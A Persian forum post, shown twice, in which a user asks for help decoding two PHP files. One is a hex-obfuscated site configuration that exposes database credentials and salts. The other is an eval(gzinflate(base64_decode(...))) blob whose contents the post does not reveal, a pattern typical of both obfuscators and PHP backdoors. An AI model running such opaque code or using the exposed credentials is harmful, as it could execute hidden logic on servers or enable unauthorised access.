AmirK2
یک شنبه 11 تیر 1391, 13:20 عصر
سلام خدمت دوستان عزیز
دوتا فایل هست که یکیش base64 کد شده ولی متاسفانه دیکد نشد یکی دیگه هم اصلا نمیدونم چه نوع کدی هست
فایل یک اصلا معلوم نیست چجوری دیکد شده index.php
<?php ini_set("\x64i\x73\x70\x6cay_\x65\x72\x72ors","0");define("p\x72\x6fj\x65ct\x5f\x76e\x72s\x69on","\x30\x2e1\x3003");define("\x64\x62pe\x72fi\x78","dl\x5f");define("d\x62\x68os\x74","\x6co\x63\x61l\x68ost");define("dbname","p\x68\x6f\x65\x6ei\x78\x64\x5f\x64\x61vari");define("db\x75\x6eame","\x70ho\x65\x6ei\x78d_d\x61v\x61\x72i");define("d\x62pass","x\x43#\x3dmL\x4d7\x72k\x7e\x62");define("\x75\x73\x65\x72_\x6d\x645\x5f\x70\x61ss","r3s\x34");define("\x61d\x6d\x69\x6e_md5_\x70as\x73","\x645f\x36g");define("ad\x6d\x69\x6e_a\x6a\x61x","\x773\x34d");define("\x75se\x72_a\x6a\x61x","q\x32\x77\x31");define("s\x69te_\x6e\x61me","\x70\x68\x6fen\x69\x78\x64\x6c\x2en\x65t");define("\x73it\x65_\x74\x69\x74\x6c\x65"," فروش هاست\x20و\x20دامین");define("site_e\x6dai\x6c","\x61\x64min@phoe\x6e\x69x\x64l.\x6ee\x74");define("si\x74\x65_d\x6f\x6d\x61\x69\x6e","pho\x65\x6e\x69\x78dl.n\x65\x74");define("pa\x74\x63h\x5f\x75\x72\x6c","\x68t\x74\x70:\x2f\x2f\x70\x68\x6fe\x6ei\x78d\x6c\ x2e\x6e\x65t");define("\x73tar\x74_\x79\x65\x61r\x5ffa","139\x30");define("\x70\x61\x67\x65_\x6e\x61v\x5f\x6e\x75\x6d\x62\x65 \x72",5);define("p\x61\x79m\x65\x6e\x74_\x76ah\x65d","ریال");define("\x61\x64\x73_\x6d\x6fde","1");define("d\x6e\x73\x5f\x31","n\x731.\x70hoen\x69\x78\x64l\x2e\x6ee\x74");define("d\x6e\x73_\x32","n\x732.p\x68oe\x6eixdl\x2en\x65t");define("\x75p\x6coa\x64_ma\x78\x5f\x73\x69ze",1024*1024);define("t\x65mp","\x70\x68o\x65\x6e\x69x\x64\x6c\x2ene\x74");
?>
فایل دو saman.php
<? eval(gzinflate(base64_decode('
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'))); ?>
دوستان ممنون میشم کمک کنید
89029
دوتا فایل هست که یکیش base64 کد شده ولی متاسفانه دیکد نشد یکی دیگه هم اصلا نمیدونم چه نوع کدی هست
فایل یک اصلا معلوم نیست چجوری دیکد شده index.php
<?php ini_set("\x64i\x73\x70\x6cay_\x65\x72\x72ors","0");define("p\x72\x6fj\x65ct\x5f\x76e\x72s\x69on","\x30\x2e1\x3003");define("\x64\x62pe\x72fi\x78","dl\x5f");define("d\x62\x68os\x74","\x6co\x63\x61l\x68ost");define("dbname","p\x68\x6f\x65\x6ei\x78\x64\x5f\x64\x61vari");define("db\x75\x6eame","\x70ho\x65\x6ei\x78d_d\x61v\x61\x72i");define("d\x62pass","x\x43#\x3dmL\x4d7\x72k\x7e\x62");define("\x75\x73\x65\x72_\x6d\x645\x5f\x70\x61ss","r3s\x34");define("\x61d\x6d\x69\x6e_md5_\x70as\x73","\x645f\x36g");define("ad\x6d\x69\x6e_a\x6a\x61x","\x773\x34d");define("\x75se\x72_a\x6a\x61x","q\x32\x77\x31");define("s\x69te_\x6e\x61me","\x70\x68\x6fen\x69\x78\x64\x6c\x2en\x65t");define("\x73it\x65_\x74\x69\x74\x6c\x65"," فروش هاست\x20و\x20دامین");define("site_e\x6dai\x6c","\x61\x64min@phoe\x6e\x69x\x64l.\x6ee\x74");define("si\x74\x65_d\x6f\x6d\x61\x69\x6e","pho\x65\x6e\x69\x78dl.n\x65\x74");define("pa\x74\x63h\x5f\x75\x72\x6c","\x68t\x74\x70:\x2f\x2f\x70\x68\x6fe\x6ei\x78d\x6c\ x2e\x6e\x65t");define("\x73tar\x74_\x79\x65\x61r\x5ffa","139\x30");define("\x70\x61\x67\x65_\x6e\x61v\x5f\x6e\x75\x6d\x62\x65 \x72",5);define("p\x61\x79m\x65\x6e\x74_\x76ah\x65d","ریال");define("\x61\x64\x73_\x6d\x6fde","1");define("d\x6e\x73\x5f\x31","n\x731.\x70hoen\x69\x78\x64l\x2e\x6ee\x74");define("d\x6e\x73_\x32","n\x732.p\x68oe\x6eixdl\x2en\x65t");define("\x75p\x6coa\x64_ma\x78\x5f\x73\x69ze",1024*1024);define("t\x65mp","\x70\x68o\x65\x6e\x69x\x64\x6c\x2ene\x74");
?>
فایل دو saman.php
<? eval(gzinflate(base64_decode('
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'))); ?>
دوستان ممنون میشم کمک کنید
89029